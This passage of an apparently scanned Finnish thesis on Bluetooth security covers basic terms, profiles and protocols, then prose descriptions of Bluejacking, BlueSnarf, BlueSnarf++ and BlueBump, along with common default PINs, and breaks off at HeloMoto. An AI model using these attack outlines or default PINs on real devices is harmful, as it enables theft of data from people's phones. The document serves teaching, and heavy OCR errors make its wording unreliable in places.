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The purpose of this thesis was to examine and to study the security of Bluetooth
communications. Information sources used in the thesis were documents from the
Bluetooth organisation, device manufacturers' responses to inquiries about security

and another documents that groups and individuals have published.

At the beginning of the thesis, the basic principle of Bluetooth-technology is
explained, as well as profiles and procols that directly or indirectly affect security.
Attention was also paid to hardware modifications of enthusiasts and their influence
on general security. General Bluetooth attacks and their drawbacks were also

examined.



Kasitteet

Bluetooth — Bluetooth on langaton tapa siirtéa tietoa lisensoimattomalla 2.4Ghz
(ISM) taajuudella. Se mahdollistaa reaaliaikaiset AV- ja datayhteydet sita tukevien

laitteiden valilla

Vastaanottotehon kohdealue — Vastaanottgja pyrkii pitamdan huolta sitd, ettd
signaali saadaan selvasti vastaanotettua, muttei kuormiteta |ahettdjaa litkaa. (Golden

receive power range)

"line of sight” ongelma — Ongelmalla tarkoitetaan yhteyden katkeilua, kun
nékdyhteys menetetéén.  Kaytettdessd  infrapuna-alueella (ta  korkeilla
radiotagjuuksilla) toimivia lahettimi& ja vastaanottimia. L&hetyssuunnan muutos tai
nékoyhteyden katkeaminen ldhettgan ja vastaanottgan vélilla aiheuttaa sen, etté
tiedonsiirtonopeus laskee tai pahimmillaan yhteys katkeaa kokonaan. Pohjimmiltaan
ongelma johtuu valon ja korkeampien tagjuuksien ominaisuuksista, siita etteivét ne
kykene kiertamdan tai |gpaiseméddn esteitd vaan kimpoavat esim. peilistd tai
imeytyvdt esim. mustaan pintaan. Lahetetty signaali kulkee kapeana viivana

|ahettdjalta vastaanottgjalle tai kohti ensmmaista estettd, sithen pysahtyen.



L yhenteet

SCO - PRiirikytkentédinen kaksisuuntainen symmetrinen yhteystyyppi. Y hteytta
luotaessa sille varataan kiintedsti tietty toistuva aikavéli, joka téytetéén yleensa
puheella tai vastaavalla tiedolla. Virtuaalisessa piirikytkenndssa aikavali varataan
kyseiselle yhteydelle, siten aikavali on pois muiden kaytosta, riippumatta siitd onko
tietoa sirretty.

ACL - Pakettikytkentdinen yhteystyyppi, datan sirtoon tarkoitettu ACL-yhteys
tukee yksi- tai kaksisuuntaisesti, yhden, kolmen tai viiden aikavdin yhteyksia.

BD_ADDR - Bluetooth Device Address. 48-bit MAC-tunnus, Tunnus on jaettu
kolmeen osaan LAP, NAP, UAP. Kéaytetdan Bluetooth-laitteen tunni stamiseen.

DUN — Verkkoyhteys puhelinverkon avulla.

FHS — Paketti jolla siirretdan tietoa tagjuushyppelyn synkronoinnista. Mahdollistaa
toisen Bluetooth-laitteen tagjuushyppelyn jarjestyksen selvittamisen.

HCI — Raapinta korkeampien ja laiteldheisempien protokollien vélilla Tarjoaa
laiteriippumattoman rajapinnan ylemman tason protokollille. Rgjapinnan avulla on
mahdollista jakaa protokollapino aikakriittisiin toimintoihin, sek& ylemman tason
enemman laskutehoa ja muistia vaativiin toimintoihin. Taman rajapinnan 18pi kulkee
kaikki se datajoka siirretéan bluetooth laitteelta toiselle.

ISM — Lisensoimaton 83.5Mhz tagjuusalue. Taguudesta 2.4000Ghz, tagjuuteen
2.4835Ghz. ISM tagjuus on varattu teollisuuden, tieteellisten ja |&8ketieteellisten
laitteiden kayttéon ja sitd voi tietyin rgoituksin kayttéd ilman lisenssimaksuja.

Taajuusalue on avattu |ahes jokai sessa maassa | SM-laittellle.

L2CAP — Logical Link Control and Adaptation Protocol. Mahdollistaa pitkien
tietopakettien lahettamisen Bluetooth-yhteyden 18pi. Sisdltda pakettien paloittelun ja

uudelleen jarjestelyn seka ylempien protokollien lomituksen.

LAP — Lower Address Part. Osa Bluetooth M A C-tunnusta.



LMP — Linkin hallintakerroksen vastuulla on yhteydenmuodostus ja turvallisuuteen
liittyvét tarkistukset kahden BT-laitteen vélilla.

MAC — Medium Access Control, Verkon paasyn kontrolli, tunnistaa ja yksiloi
etdlaitteet.

NAP — Non-significant Address Part. Osa Bluetooth M A C-tunnusta.

RSSI — Bluetooth-laitteet voivat sdétdd vastapuolen |ahettimen |8hetystehoa,
esimerkiksi, jos |8hetysteho on tarpeettoman suuri tai pieni. Receiver Signal Strength
Indicator toimii osana tdta mahdollisuutta ilmaisten selvéna arvona vastaanotetun

signaalin vahvuuden.

UAP — Upper Address Part. Osa Bluetooth MAC-tunnusta.
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1 Johdanto

Viela talla vuosituhannellakin suurin osa ulkoisista laitteista liitetéan tietokoneen
osaksi kaapeleilla. Johtoinferno syntyy asteittain, kun hankitut lisélaitteet yhdistetéén

johdoilla tietokoneeseen ja tarpeen mukaan erilliseen virtal dhteeseen.

Yleismmiten tietokone hankitaan  kotiin  kirjoituskoneeksi, laskimeks,
maksupalveluiden kayton takia tai vain lasten koulutdiden takia. Vaikka tdma uusi
perheenjésen tulisikin yksin, on sille kotvan kuluttua hankittava muutamia apulaisia
Enssimméinen ulkoinen apulainen saattaa olla tulostin, jonka koneeseen
Kiinnitytty&8n alkaa kohta kaivata kuvanlukijaa tai digikameraa kumppanikseen. Kun
nyt eldmme tietoyhteiskunnassa, e voida unohtaa internetin katevyyttd, esimerkiksi

pankki- ja kauppapal vel uissa.

Jo téssa valheessa poydallg, tai sen ala risteilee kymmenesta neljééntoista eri virta-
ta tiedonsirtokaapelia. Tietokoneen takaa on otettu kayttdon COM-portti
modeemille, LPT-portti kirjoittimille, USB-vayla uudemmille laitteille ja SCSI-vayla
esm. skannereille tai kovalevyille, unohtamatta tietenkin erilliset liittimet
ndppaimistda ja hiirtd varten. Asiaan tuo tietysti oman puolensa se, ettei suurinta
osaa laitteista valttdmattd kaytetd kuin muutaman kerran kuukaudessa, mutta
kéaytettdvyyden takia johdot roikkuvat koneessa pysyvasti. Tietokoneen takana on
siis kohtalainen sekamelska eri laitteiden tiedonsiirto- ja virtgjohtoja. Lisdtdan viela
mukaan ne kannettavat laitteet jotka ovat viimeaikoina yleistyneet kotona ja
tyOpaikoilla, esimerkiksi PDA-laitteet, kannettavat tietokoneet, MP3-soittimet, digi-

kamerat, avaimenperamuistit ja ns. aypuhelimet.

Onneksi suurin osa uusista laitteista kéyttéa yhteisia vaylia, esimerkiksi kytke ja

kayta (plug and play) periaatteella toimivaa USB vaylaa.
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Jokaisen valmistgjan on suunniteltava ja toteutettava omasta mielestéén toimivin
ratkaisu. Kun tarkoituksena on tehda vain kyseiselle laitteelle tarkoitettu johto tai
liiténtétapa, unohtuvat usein suunnittelijoilta kaikki oman laitteen toimintaan suoraan

vaikuttamattomat asiat.

Langattomuus saattaa olla juuri se |88ke, jota toiset ovat pitempaén jo odottaneet.
Kuvassa 1 esitetddn, miten oheidlaitteet voidaan liittda langattomasti (kannettavaan)

tietokoneeseen.

- i

Mobile phone

Kuva 1 Kannettava tietokone Bluetooth-pikoverkkon keskuksena [ 1]

Bluetooth-tekniikalla paéstéén eroon johtoviidakosta ja mm. useamman tietokoneen
kéyttd helpottuu. Kuvan 1 kaks tietokonetta voivat toimia myés WLAN-yhteyden

avulla
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2 Historia

Kaikki alkoi vuodesta 1994, Ericsson Mobile Communications:in sisdlla havaittiin
tarve korvata hankalat yhteysiohdot laitteiden valilla Tama johti tutkimukseen
matal atehoisen, edullisen radioyhteyden mahdollistavan tekniikan kehittamiseksi.

Vuonna 1998 Ericsson, IBM, Intel, Nokia ja Toshiba perustivat yhteisen ryhman
Bluetooth Special Intrest Group (SIG) tarkoituksenaan kehittdd maaritelma uudelle
"radiotagjuudella toimivalle langattomalle viestintdtekniikale'. Maaritelman
tarkoitus on mahdollistaa pienitehoisen, edullisen piirin valmistus ja taata eri

vamistajien piirien yhteensopivuus.

Vuonna 1999 Julkaistiin  Bluetooth-méaaritelman ensimméainen verso 1.0.

Samana vuonna jasenlistaa tdydensivat 3Com, Agere, Microsoft ja Motorola.

Vuosien varrella SIG:n yhteistyéhon on osaa ottanut tuhansia yhtei styékumppaneita

monilta eri teollisuuden aloilta.

Tavallaan tdma 1994 havaittu tarve toimi alkukipinana sille ajatukselle, joka nyt ja
tulevai suudessa muokkaa ympérilldmme toimivia teknisid laitteita, langattomiksi ja

yhteistoimiviksi.
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3 Visiot jatodellisuus

on saatu toimimaan langattomasti. Hiiri, joystick, ndppéimistd toimivat ilman
kaapeleita. Tulostimet, kuvanlukijat saavat paremman sijoittelun huoneessa seka
esm. PDA-laitteiden kéytettavyys paranee niiden ollessa ana yhteydessa

tietoverkkoihin.

Tiensivuun pysdytetty ajoneuvo saattaa tulevaisuudessa ilmoittaa poliisille
automaattisesti viimeisen gjotunnin korkeimman ajonopeuden, auton kunnossa olevat
puutteet, viimeisen katsastuspéivan tai vaikkapa vain sen, ettéd onko auto varastettu.
Muita mahdollisuuksia on, etta maantiella raskaan goneuvon punnituksessa kuski
Sirtdd hytista automaattisesti goneuvon tiedot puntarille, joka sirtéa tiedot
maksuista suoraan ajoneuvon lokikirjaan. Samankaltaista vélineistda voidaan
hyodyntéd siltatulleissa ja lossien kayttokulujen perimisessd. Langattomassa

rahapussi ssakin saattaisi olla omat etunsa.

Peruskuluttajaa |aheisempi, vaikkakin viela tdysin utopistinen visio on etté jonain
paivana jadkaappi ilmoittaa kukkarolle (tai verkkoja pitkin suoraan kauppiaalle)
mitka tuotteet ovat loppumassa. Kayttokelpoinen olis my6s mahdollisuus, etta
kodinkoneet  keskustelisvat keskenddn ilmoittaen vaikkapa puhelimella
rikkoutuneesta kahvinkeittimestd tai pakastimesta, joko kayttgjdlle tai suoraan
korjagalle.

Siirryttéessi visioista, toteutuneisiin ratkaisuihin on langattomuuden helppous
havaittavissa, kun kannettavat tietokoneet ottavat internet-yhteytensa kannettavien
puhelimien avulla ilman kaapeleita tai ilman rasittavia ndkoyhteys-ongelmia
Kehittyneet handsfree-laiteet eivét enda vaadi erillisia telineitd autossa, vaan riittéa
etta taskussa tai salkussa oleva puhelin on auton vastaanottimen alueella ja puhelu

ohjautuu automaattisesti suoraan auton audiolaitteille.
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4 Hariotekija janiiden eiminointi

Koska Bluetooth-liikenne kayttdd lisensoimattomassa yhteiskdytdssd olevaa
IMS-tagjuutta, on mahdollista, ellei jopa todenndkoistd, ettéd samalla tagjuusalueella
on muita héarittd aheuttavia laitteita, muutamia nimetdkseni Wavel AN-Kkortit,

langattomat hiiret ja ndppai mistot.

Mikroaaltouunien on mitattu aiheuttavan suuria hériditda Mikroaaltouunien
|ahettdma héairiokohina on voimakasta, muttel tayta koko taguusaluetta. Bluetooth-
tekniikassa on pyritty varmistamaan tiedon perillepadsy kayttamalla tagjuushyppelya
jauudelleenldhetysta.

Tagjuushyppelylla tarkoitetaan sitd, ettd IMS-tagjuusalue on jaettu useampaan
kapeampaan kanavaan, joita jatkuvasti vaihtamalla on todenndkoistd, — ettd
ulkopuolinen hairi6, joka on estényt yhden paketin perillepddsyn, e vaikuta
seuraavaan pakettiin, joka lahetetéén toisella kanavalla ja siten hieman eri

tagjuudella.

Oman ympériston hairididen mittaaminen e kotikonstein ole helppoa. Signaalien
kulkeutumista voi suuntaa antavasti arvioida seinien ja ovien materiaalien seka
etasyyksien avulla. Paksuseindisissa kerrostaloissa signaalit (kuin myds hairiot)
heikkenevéa nopeammin, ohutseindisissi taloissa tai ne saattavat kantautua 1dhes

maksimikantamaan asti.
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5 Ylanen Bluetooth-verkko

Bluetooth-verkko koostuu kuvan 2 mukaisesti pikoverkoista (piconet), jotka yhdessa
muodostavat hajaverkkoja (scatternet). Pikoverkoissa on 2-8 aktiivista laitetta, joista

yksi toimii iséntana (master) jaloput renkilaitteina (slave). [4]

LAM

Kuva 2 Neljan pikoverkon muodostama hajaverkko [ 4]

Pikoverkon alueella voi olla ei-aktiivisessa "parked" tilassa olevia laitteita, joilla on

yhteys verkon master-laitteeseen, mutta ne eivét voi osallistua tiedonsiirtoon.

Pikoverkko méaréytyy taysin master-laitteensa mukaan, tdméa on laite, joka on luonut
pikoverkon kaynnistamalla yhteyden johonkin muuhun laitteeseen. Bluetooth-laitteet
sindnsd ovat kaikki samanlaisia, laitteen asema pikoverkossa méaaraytyy
dynaamisesti. Pikoverkon sisdlla laitteilla ei ole yhteyksa muihin kuin master-
laitteeseen, joka kontrolloi tiedonsiirtoa. Sen sijaan myo6s dave-laitteilla voi olla
yhteyksia muiden pikoverkkojen laitteisiin. Pikoverkon kokoa rgjoittaa se, etta kaikki
verkon renkilaitteet ovat yhteydessé isant&an, jolloin pikoverkon tiedonsiirtokanava

jakautuu tasan renkilaitteiden kesken. [4]



15

6 Energianséasto

Bluetooth-tekniikassa kaytetéédn monia eri tapoja, jotta piirit kuluttaisivat
mahdollismman vahdn energiaa.  Tekniikassa on maarittelty kolme
|ahetysteholuokkaa, nelja erillistd energiansdastétilaa ja tarpeen mukaan séédettava
|&hetysteho.

6.1 Energianséastotilat

Energiansdastétiloilla téhdatdan siihen, ettéa lahetinpiiri pidetddn sammutettuna, kun
se e l|ahetd tai vastaanota tietoa. Aktiivisena ldhetinpiiria pidetéén vain tietoa

siirrettéessa ja otsikkotietoja luettaessa.

Bluetooth viestinndssa kaytetddn neljéa erilaista tilaa, joita vaihtamalla on

mahdollista pienentéé laitteen virrankul utusta sen toiminnallisuuksia karsimatta.
Bluetooth-sé&stotilat ovat seuraavat: [3]

Active — radio pidetddn aina paalla ja kuunnellaan jokaisen paketin otsikko.
Sniff — renki kuuntelee radiota vain tietyin aikavdlein ja isdnta viivastyttaa rengille
tarkoitettuja  pakettgga aikavdlin  alkuun. Jos akavdin aussa on
rengille osoitettuja pakettgga se jatkaa kuuntelua, kunnes siirto on loppu.
hold — liikenne isénnan ja rengin valilla hiljennetdan yhteisella sopimuksella tietyksi
gaksi. Renkilaite voi sammuttaa piirinsd ta  muodostaa yhteyksia
muihin laitteisiin  ilman ettd sen taytyy kuunnella pakettga isdnnalta
park — bluetooth laiteen kommunikointi verkossa sammutetaan, mutta se jatkaa

(beaconing) akavdlein isannan kuuntelua ja sSiten pysyy oikeassa tahdissa
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6.2 Teholuokat

Bluetooth-teholuokat on méaritelty, jotta lahetinpiirit vastaisivat paremmin niille
asetettuja odotuksia, kuten pieni koko, pieni virrankulutus ja piirien edullisuus.
Minimi- ja maksimitehojen méarittelylla pyritddn siihen, ettd Bluetooth-piirit

soveltuisivat parhaiten niiden suunnitelluille etdisyyksille.
Bluetooth laitteet mé&aritel|aén kolmeen eri teholuokkaan.

Teholuokka 1: Suunniteltu pitkénmatkan (~100m) yhteyksille, 20dBm (100mW)
maksimitehona. Teholuokkaan kuuluvan laitteen tulee lahettéd maksimiasetuksella
vahintéan 0dBm (1mW). Luokkaan kuuluvat laitteet pystyvét saétamaan |ahetystehoa
vdilla +4dBm — +20dBm ja tehonsd&don toteuttamista suositellaan myos vélille
-30dBm — +4dBm.

Teholuokka 2: Suunniteltu noin 10 metrin yhteyksille, rgoitettu maksimiteho
luokalle on 4dBm (2,5 mW). Teholuokkaan kuuluvan laitteen tulee lahettéa
maksimiasetuksella vadhintéén -6dBm (0,25mW). Luokkaan kuuluvien laitteille
suositellaan lahetystehon sdatéa vdille -30dBm — +4dBm, vaikkakaan sen

toteuttaminen ei ole pakollista

Teholuokka 3: Lyhyen, noin 10 senttimetrin etdisyyksille suunnitellut laitteet
kykenevat maksimissaan léhettdmaan 0dBm (1mW). Luokalle e ole méaritelty
minimitehoa, eiké& pakollista tehonhallintaa. Suositeltu tehonhallinta vélilla -30dBm
—+4dBm.
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6.3 Mukautuva ldhetysteho

Tehon hallintaan varten pitdd mééritella vastaanottotehon kohdeal ue (golden receive
power range), jolla vastaanotetun signaalin teho pyritéén pitamaan. Alarga loytyy
vdlilta -56dBm — +6dB todellisen vastaanottoherkkyyden yldpuolella. Ylempi ragaon
20dB alemman rgjan yldpuolella, +/- 6dB:in tarkkuudella.

HCI_Read RSSI komentoon saadaan vastaukseksi arvo vdlilla -128 — +127, joka on
suoraan desibeleing, negatiiviset arvot ilmaisevat etté kuinka paljon vastaanotettu
teho on kohdealueen aapuolella, nolla arvo ilmaisee aueella pysymisen ja

positiiviset arvot vastaavasti ylapuolella olemisen.

LMP_incr_power req pyynt6on vastataan nostamalla yksi askel tehoa tai
lahettdmalla LMP_max_power vastaus, osoittamaan ettd maksimiteho on jo
saavutettu. Vastaavasti LMP_decr_power _req pyyntoon vastataan pudottamalla yksi
askel tehoa tai |ahettamalla LMP_min_power vastaus joka osoittaa ettd, minimiteho
on saavutettu.

Jos laitteet kuuluvat eri teholuokkiin, toimitaan aina heikomman laitteen luokan

maksimitehoon liittyvien ehtojen mukaan.
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7 Bluetooth-profiilit

7.1Yleista

Profiili on méaritelty seuraavasti ISO/IEC TR 10000 standardin mukaan:

Toteutuksen eri vaihtoehtoja karsitaan niin ettd ohjelmat jakavat samat ominai suudet.
Parametrit madratéén niin ettd ohjelmat toimivat samalla tavala. Méaaritelldan

perusmekanismit eri standardien yhdistdmiseksi. Kayttgan kayttoliittyman

suuntaviivat maaritelldan. [6]

Hyvia puolia profiileista on helppo 16ytéa Ohjelmoijalle yksindan tieto dita, etta
kaikki muutkin lukevat samoja tietoldhteitd ja rakentavat omat ohjelmansa samojen
tietojen perusteella on omiaan parantamaan kilpailua ja lisédmaan luottamusta

yhtei stoimivuuteen ja siten nopeuttamaan vapaata ohjelmakehitysta.

Laitteiden ohjelmistojen e tarvitse toteuttaa kaikkia mahdollisia funktioita, riittéa
ettd ne toteuttavat tietyt laitteelle tarpeelliset toiminnot ja profiilin tietojen
perusteella voidaan olla varmoja, etteivét toiset valmistgjat ole jétténeet tarpeellisia

funktioita pois.

Kun vamistgat rakentavat profiilin  maddreiden mukaan, on laitteiden
yhteentoimivuus todenndkdistd ja siten yhteentoimivuuden testaaminenkin on
helpompaa ja virheiden |6ytaminen ja korjaaminen selvempaa. Jos yhtio havaitsee
yhteensopivuusongelman vieraan yhtion laitteessa, on helpompaa selvittéd kumman
yhtion gureissa on parantamisen tarvetta ja ilmoittaa gureiden virheista

yhteensopivuuden saavuttamiseksi.
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Laitteiden ennustettavuus paranee. Kun suunnitellaan uusia laitteita ja havaitaan
tarve esim. langattomalle tiedonsiirrolle, on edullista kilpailuttaa moniavalmistagjia ja
kuitenkin voidaan olla varmoja, ettéa laitteistot toteuttavat samat toiminnot

valmistgjasta riippumatta. Taulukossa 1 on esitelty profiilien vaatimuksia.

Taulukko 1

Vaatimus Symboli Tarkoitus

Pakollinen M (Mandatory) Profiilin on tuettava ominaisuutta

Valinnallinen O (Optiona) Profiili voi kayttda ominaisuutta

Ehdollinen C (Conditional) Ominaisuutta voidaan kayttéa profiilissa, jos
se tarjoaa muita kuin minimi-
toiminnallisuuksia

Poissuljettu X (Excluded) Ominaisuus, jota el oteta kdyttoon vaikka laite
sitd mahdollisesti tukeekin.

Tarpeeton N/A (Not Applicable) Ominaisuus e ole kaytanndllinen  profiilin
toiminnan kannalta.

Generic Access Profile (GAP) toimii kaikkien muiden profiilien perustana. Se
sisdtéa suositukset, maarittelyt ja toiminta tavat, joita kayttamalla voidaan rakentaa
muut sitd erikoistuneemmat profiilit. GAP méérittelee proseduurit, joiden avulla
selvitetédn onko laitteita |ahettyvilld, otetaan yhteys toiseen laitteeseen ja kuinka
laitteiden toisiinsa sitominen tapahtuu. GAP on se "juuri-" tai ”runkoprofiili”, jonka

varaan kaikki muut profiilit rakennetaan. Hierarkia on ndhtévissa kuvasta 3.

Yhtend tarkeimpana tehtdvanddn GAP méérittelee yhteilsen termistbn, jota
méaritelmissa kaytetéén, ndin vadhentden tulkintavirheiden aiheuttamia ongelmia
laitteen suunnittelussa ja toteutuksessa. Termiston maarédminen helpottaa myds
opetellut yhden laitteen kayton, voi han vahemmalla vaivalla siirtya toisen vastaavan

laitteen kayttgaksi, samankaltaisten valikkojen jaltai tuttujen asetusten takia.



20

Yksinkertaisin esimerkki téasta saattaa olla PIN-lukuna tunnettu kayttdjdystavallinen
laitteessa puhutaan PIN-luvusta, ne tarkoittavat yhta ja samaa asiaa, riippumatta
laitteen suunnittelijasta, valmistajastatai laitteen kieliasetuksista.

GAP sisdtaa laitteiden etsintdan, yhteyden muodostamiseen seka linkin hallintaan
tarvittavat proseduurit. Talla varmistetaan se, etta vaikka laitteilla e olisikaan
yhteisia ohjelmia tai toimintoja, on niiden slti mahdollista kommunikoimaan

keskendan ja valittdmaan tiedot palvel uistaan.

Generic Access Profiilin tarkoituksena on méardtd ne perusominaisuudet ja
-proseduurit, jotka huomioimalla vamistgjat voivat vamistaa yhdessa toimivia

laitteita riippumatta niiden sisdisesté toiminnastatai kaytetyista tekniikoista.

GAP
| |
SDAP | sPP |TCS-BIN
| —
GOEP CTP | IntP
OPP SP DUNP | FaxP
FP HSP LAP

Kuva 3 Hierarkkinen esitys profiiliperheiden suhteista toisiinsa

bluetooth versiossa 1.0 [ 3]
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7.3 SDP

Bluetooth mé&érittelee myos palvelunhakuprotokollan, SDP:n (Service Discovery
Protocol). SDP:lla laitteet pystyvdt hakemaan haluamaansa palvelua SDP-
palvelimelta, ja tiedustelemaan palvelun ominaisuuksia, kuten palvelun tyyppi ja
luokka, ja sen tarvitsema protokolla. Laite voi joko suoraan hakea juuri haluamaansa
palvelua tai se voi etsid palvelua, joka toteuttaa halutut ominaisuudet tai kuuluu
sopivaan palveluluokkaan. Bluetooth-laite voi toimia yhta aikaa sekd SDP-
palvelimena ettd asiakkaana. SDP-asiakkaan kayttssi olevien palvelimien joukko

muuttuu dynaamisesti, kun laitteita saapuu ja poistuu kuuluvuusal uedlta. [3]

7.4 1L2CAP

Logica Link Control and Adaptation Layer Protocol (L2CAP), toimii Baseband
kerroksen padla tarjoten ylemmille kerroksille pakettien multipleksoinnin,
uudelleenldhetyksen, tietovirran hallinnan, pakettien segmentoinnin ja uudelleen

kokoamisen.[8]

Ylempien kerrosten tiedonsirrolle on tarpeellista pystya erottelemaan samalle
kerrokselle saapuvat eri tietovirrat, koska protokollaa saattaa kayttéd useampi ylempi
kokonaisuus samanaikaisesti. Kuvasta 4 ndéemme muutamia L2CAP-protokollaa

kayttaviaylempia profiileita.

SDP RFCOMM TCS Audio
LMP L2CAP Voice
| | |
ACL | | scoresco
Baseband

Kuva 4 L2CAP tietovirrat muihin protokolliin ndhden[ 9]
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Ylemmille kerroksille on myo6s tarkoituksenmukaista ettd ne ovat vapautettuja
pakettien uudelleenyhdistamisesta ja virheellisten pakettien uudelleenldhettémisesta
ja voivat toimia virheettomald, taatulla siirtokanavala loppupisteesta toiselle.
Kuvassa5 edtetédn selkeasti L2CAP kerroksen tehtdvat ja niiden jarjestys,

tiedonsiirtosuuntaan nahden.

1
1
1
| data !
1 A data
Upper | data contral

laye A
I '"'""'"i'-’%t-,ﬁ*“""'"'"'i}"'"'"""
(SDUs)
I h 4 - =57
| Segmentation (Reassembly )] il -
- ——— - —J
g % .r_______.__._l__________ Channel
L9CAP - LH-;- fransmission & Flow Control Manager
| - —_— - —
laver :}:“I § 1 {camjn ancs)
A Encapsulation & Schaduling -‘—

| Fragmentation (Recombination) |

e (PDUs) +

T {fragments}
e o e o o o = o ] o o o B o B o B e o e = ke e e o o
Lower [————-———————————lm oy

1
| i |
Ia}-'er [ _ I _ o E ““‘.’ Controls
(HCIEB) ; h J —» Data/packet flow

Kuva 5 L2CAP rakenteelliset osat. [9]

7.5 GOEP

Generic Object Exchange Profile (GOEP) luo perusmédritykset kaikille laitteille,
jotka kéayttavdt OBEX-protokollaa Bluetooth-tiedonsiirtoon. GOEP méérittelee
kuinka Bluetooth-laitteet implementoivat tieto-objektien vaihton kayttéen sirtoon
RFCOMM-protokollan sarjamuotoista yhteyttd. Asiakkaana toimii automaattisesti

yhteyden ottanut osapuoli ja vastaanottava osapuoli palvelun tarjoajana.
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7.6 OPP

Object Push Profile on luotu tiedostojen (tieto-objektien) helppoon vaihtamiseen,
mm. kayntikorttien ja tiedostojen vaihtamiseen. Palvelu kayttda varsinaiseen siirtoon
OBEX profiilin maérityksid ja sen ata loytyvid paveluja Monissa tapauksissa
autentikointi tiedostojen lahettamiseen tai kayntikorttien vaihtamiseen e ole

pakollinen.

7.7FP

File transfer profile on tiedostojen lagjamittaisemman siirron mééritteleva profiili.
Mahdollistaa palvelimen hakemistoissa liikkumisen, hakemistoissa olevien
tiedostojen listauksen, tiedostojen siirtdmisen palvelimelle (Push Object), niiden
kopioinnin palvelimelta (Pull Object), tiedostojen tuhoamisen ja uusien hakemistojen

luonnin. Profiili kayttdd GOEP-profiilia palvel uidensa toteutukseen
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8 Bluetooth tietoturva

8.1Yleista

Tietoturva rakentuu kahdesta osasta: verkon turvalisuudesta ja laitteiden
suojauksista. Bluetooth-verkon tietoturvaan suoraan tai valillisesti vaikuttavat mm.

seuraavat tekijét: |ahetysteho, tagjuushyppely, yhteydenmuodostus, yhteydensal aus.

Laitteiden suojaukseen ongelmiin puolestaan vaikuttavat mm. PIN-luku, Bluetooth
pinon eri tasoilta |6ytyvét virheet ja ongelmien ratkaisu vaarédlla tasolla. Ei voida
unohtaa mydskaan valmistgjien haluttomuutta péivittéa myyty;ja laitteita jakikéteen

ilman todella vakavaa ja heista tdysin riippuvaa virhettd. Seuraavassa kasitell&éan

Lahetystehon minimointi, rgoittaa signadlien kantautumista ja siten parantaa
osdtaan tietoturvaa. Laitteiden luvaton kéyttd yleisesti vaatii, etta ollaan kohteen
lahella tai kaytetéén suurikokoisia antenngja (mm. Bluetooone), joiden kayttd on
Suomessa laitonta. Suomessa  kayttoon otettu ETSl-standardi, rgoittaa
anteennitehoksi 20dBm (100mWw).

Kéytettava tagjuus vaihtuu yhteyden aikana 1600 kertaa sekunnissa estéen aikoinaan
NMT-puhelimista tutuksi tulleen kanavankuuntelun (tai nauhoituksen). NMT-
puhelimissa ongelmaks muodostui, etta suojaamaton &anisignaali |dhetettiin vain

kahta tagjuutta pitkin puhelimen jalinkkitornin valilla.

PIN-luku on helppokéyttinen, yleensd nelinumeroinen tunnusluku, jolla yhteytta
ottavat laitteet varmistetaan oikeiksi ennen niiden yhdistamistéa. Esimerkiks yhteytta
luotaessa molempien laitteiden nayt6lla pyydetdan ndppéalemdan sama PIN-luku.
Yleensd valmistajat asettavat lukusarjan "0000”, "1234", "5475" tai "8761" uusiin
laitteisiin, mikd mahdollistaa tietyntyyppiset hyokkdykset ja td&td voidaan pitéa
erittdin  hankalana ongelmana yleisen tietoturvan kannalta, koska kokeiltavien

arvausten maéra putoaa 10* (tai maksimista 2'%%) mahdollisuudesta yhteen ainoaan.
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Tama nopeuttaa huomattavasti hyokkaysten tekemista. Liitteessa 2, riveilta 19 - 26

néhdaén kuinka helposti kiintedn PIN-luvun arvaus automatisoidaan skriptikielella.

Y hteys on mahdollista salata, jolloin molemmat yhteyspéét salaavat |8hetetyn tiedon
kattelyssa sovituilla avaimilla. Salausavainten gjoittainen vaihto mahdollistaa

kohtuullisen suojatun yhteysvalin.

Y hteytta muodostettaessa tehd&dn tarkistus kahteen kertaan, ensin toinen laite toimii
tarkistajana ja toinen anojana. Toisella kierroksella osat vaihtuvat, mutta prosessi
pysyy samana. Bluetooth kayttéd yhteydenmuodostuksessa yksiléintiin
laskennallisesti suojattua tapaa.

8.2 Tunnetut ongel mat

Luku pohjautuu alan vahvasti pioneerien dokumentteihin. [10]

8.2.1 Blugacking

Blugacking-hyokkays on perusolemukseltaan vaaraton, tosin sen seuraukset voivat
avata portteja vaarallissmmille hyokkayksille. Hyokkéayksessa |8hetetdan laitteiden
autentikointipyynto toiseen laitteeseen. Erikoiseks tédman tekee se, ettd |dhettéavan
laitteen nimi on muutettu sisdltdmaan naytettdva viesti. Vastaanottgjan puhelin tai
PDA néayttéa lahettavan laitteen nimen, siten sis viestin ja kysyy, sdlitaanko
yhteyden muodostus. Riippuu tietysti tdysin vastaanottavan ihmisen ominai suuksista
(mielentilasta, maalaigarjestd, laitteen tuntemuksesta tai henkilon i8std), vastaako
han tuntemattomaan yhteyspyyntéon myonteisesti vai e. Yleensd pienimpadn
yhteiseen nimittg§aan vetoaminen tehoaa parhaiten, ja jatkohyokkays voi tapahtua

SNARF-tyyppisesti, misté kerrotaan seuraavassa liséa.
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8.2.2 BlueSnarf

Hyokkayksessa |uotetaan tietyistd puhelinmalleista [6ytyviin tietoturva-ongelmiin,
jotka mahdollistavat sen, etta hyokkaga kuvainnollisesti kdvelee paikalle, pyytéa
tavaran ja juoksee pois. Hyokkays suoritetaan niin, etta yhteys luodaan, aivan kuin
haluttaisiin 1&hettda kayntikortti laitteesta toiseen, mutta kayntikortin l&hettdmisen
sijaan yhteyden avauduttua, vastaanottgjalle 18hetetddn OBEX GET pyyntd tietojen
|dhettémiseksi. Standardoidut tai hyvin arvatut tiedostonimet pyydettyéan, hyokkaga
voi sulkea yhteyden, jalkia jattamétta tai kenties viela "kayntikorttinsa’ jattaen.
Riippuu puhelimen vamistgan asenteesta tietoturvan péaivityksia kohtaan, onko
ongelma korjattu  seuraaviin  puhelinpaivityksiin - ja puhelimen  haltijan

viitseliaisyydesta kayda paivittamassa ohjelmistot uusiin versioihin.

8.2.3 BlueSnar f++

Aikaisemman version paranneltu versio, jossa hyokkaga saa oikeudet |ukea,
Kirjoittaa ja tuhota tiedostoja, ilman autentikointia. Suurimpana erona aikai sempaan
versioon on, etta hyokkayksessd kaytetddn OBEX FTP-pavelinta, joka sallii
tiedostojen vapaamman selailun ja halinnan. Yleensa pavelu ulottuu myos

laitteeseen liitettyihin muistikortteihin tai vastaaviin tallennusmedioihin.

8.2.4 BlueBump

Hyvéaluontoisen yhteyden luonnin jalkeen, katkomalla ja yhteyden avaimien
pakotetulla vaihdolla vastapdd pyritédn saamaan tilaan, jossa péastédn kasiksi

autentikoimattomiin kanaviin. Kanavista voidaan pyytaa tietoja, joihin muutoin ei

olis pdasya.
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8.2.5 HeloMoto

Eréén valmistajan puhelimissa on havaittu, etta HF-laitteisiin voi ulkopuolinen luoda
